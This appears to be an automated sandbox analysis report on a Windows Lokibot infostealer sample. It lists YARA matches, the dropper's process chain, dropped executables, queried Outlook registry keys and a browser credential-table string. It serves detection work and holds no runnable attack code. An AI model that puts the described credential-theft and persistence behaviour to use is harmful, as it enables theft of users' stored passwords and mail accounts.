Source: 3.2.gblqfiy.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 3.2.gblqfiy.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 3.2.gblqfiy.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.gblqfiy.exe.a00000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 1.2.gblqfiy.exe.a00000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 1.2.gblqfiy.exe.a00000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 1.2.gblqfiy.exe.a00000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.2.gblqfiy.exe.a00000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.gblqfiy.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 3.0.gblqfiy.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 3.0.gblqfiy.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 3.0.gblqfiy.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 3.0.gblqfiy.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: Process Memory Space: gblqfiy.exe PID: 5172, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: Process Memory Space: gblqfiy.exe PID: 5316, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\zlP981oop5.exe

Code function: 0_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

Source: C:\Users\user\Desktop\zlP981oop5.exe	Code function: 0_2_00406D5F
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 1_2_0040E52C
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 1_2_004B08B7
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 1_2_004B0A34
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 3_2_0040549C
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 3_2_004029D4

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: String function: 00401A10 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: String function: 0041219C appears 45 times
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: String function: 00405B6F appears 42 times

Source: zlP981oop5.exe

Virustotal: Detection: 30%

Source: C:\Users\user\Desktop\zlP981oop5.exe

File read: C:\Users\user\Desktop\zlP981oop5.exe

Jump to behavior

Source: zlP981oop5.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\zlP981oop5.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\zlP981oop5.exe C:\Users\user\Desktop\zlP981oop5.exe
Source: C:\Users\user\Desktop\zlP981oop5.exe	Process created: C:\Users\user\AppData\Local\Temp\gblqfiy.exe "C:\Users\user\AppData\Local\Temp\gblqfiy.exe" C:\Users\user\AppData\Local\Temp\rznkfgz.rq
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process created: C:\Users\user\AppData\Local\Temp\gblqfiy.exe C:\Users\user\AppData\Local\Temp\gblqfiy.exe
Source: C:\Users\user\Desktop\zlP981oop5.exe	Process created: C:\Users\user\AppData\Local\Temp\gblqfiy.exe "C:\Users\user\AppData\Local\Temp\gblqfiy.exe" C:\Users\user\AppData\Local\Temp\rznkfgz.rq
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process created: C:\Users\user\AppData\Local\Temp\gblqfiy.exe C:\Users\user\AppData\Local\Temp\gblqfiy.exe

Source: C:\Users\user\Desktop\zlP981oop5.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Source: C:\Users\user\Desktop\zlP981oop5.exe	Code function: 0_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 3_2_0040650A LookupPrivilegeValueW,AdjustTokenPrivileges,

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto

Jump to behavior

Source: C:\Users\user\Desktop\zlP981oop5.exe

File created: C:\Users\user\AppData\Local\Temp\nsp2B7D.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/7@0/1

Source: C:\Users\user\Desktop\zlP981oop5.exe

Code function: 0_2_004021AA CoCreateInstance,

Source: C:\Users\user\Desktop\zlP981oop5.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\zlP981oop5.exe

Code function: 0_2_00404AB5 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

Source: gblqfiy.exe, 00000003.00000003.257055027.0000000002237000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5180:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Mutant created: \Sessions\1\BaseNamedObjects\8F9C4E9C79A3B52B3F739430

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Source: zlP981oop5.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\xampp\htdocs\b61e5acae9c94fab8e78397ab543d5d6\Loader\Release\Loader.pdb source: zlP981oop5.exe, 00000000.00000002.266742028.0000000002850000.00000004.00000800.00020000.00000000.sdmp, zlP981oop5.exe, 00000000.00000002.266467890.000000000040C000.00000004.00000001.01000000.00000003.sdmp, gblqfiy.exe, 00000001.00000000.247488143.000000000040F000.00000002.00000001.01000000.00000004.sdmp, gblqfiy.exe, 00000001.00000002.259531027.000000000040F000.00000002.00000001.01000000.00000004.sdmp, gblqfiy.exe, 00000003.00000000.250738909.000000000040F000.00000002.00000001.01000000.00000004.sdmp, nsk2BAD.tmp.0.dr, gblqfiy.exe.0.dr
Source:	Binary string: wntdll.pdbUGP source: gblqfiy.exe, 00000001.00000003.254805333.000000001A190000.00000004.00001000.00020000.00000000.sdmp, gblqfiy.exe, 00000001.00000003.255029911.000000001A190000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: gblqfiy.exe, 00000001.00000003.254805333.000000001A190000.00000004.00001000.00020000.00000000.sdmp, gblqfiy.exe, 00000001.00000003.255029911.000000001A190000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Yara detected aPLib compressed binary

Source: Yara match	File source: 1.2.gblqfiy.exe.a00000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.gblqfiy.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.gblqfiy.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.gblqfiy.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.gblqfiy.exe.a00000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.gblqfiy.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gblqfiy.exe PID: 5172, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gblqfiy.exe PID: 5316, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 3_2_00402AC0 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 3_2_00402AC0 push eax; ret

Source: gblqfiy.exe.0.dr	Static PE information: section name: .00cfg
Source: gblqfiy.exe.0.dr	Static PE information: section name: .voltbl

Source: C:\Users\user\Desktop\zlP981oop5.exe	File created: C:\Users\user\AppData\Local\Temp\gblqfiy.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	File created: C:\Users\user\AppData\Roaming\C79A3B\B52B3F.exe (copy)			Jump to dropped file

Source: C:\Users\user\Desktop\zlP981oop5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Process information set: NOGPFAULTERRORBOX
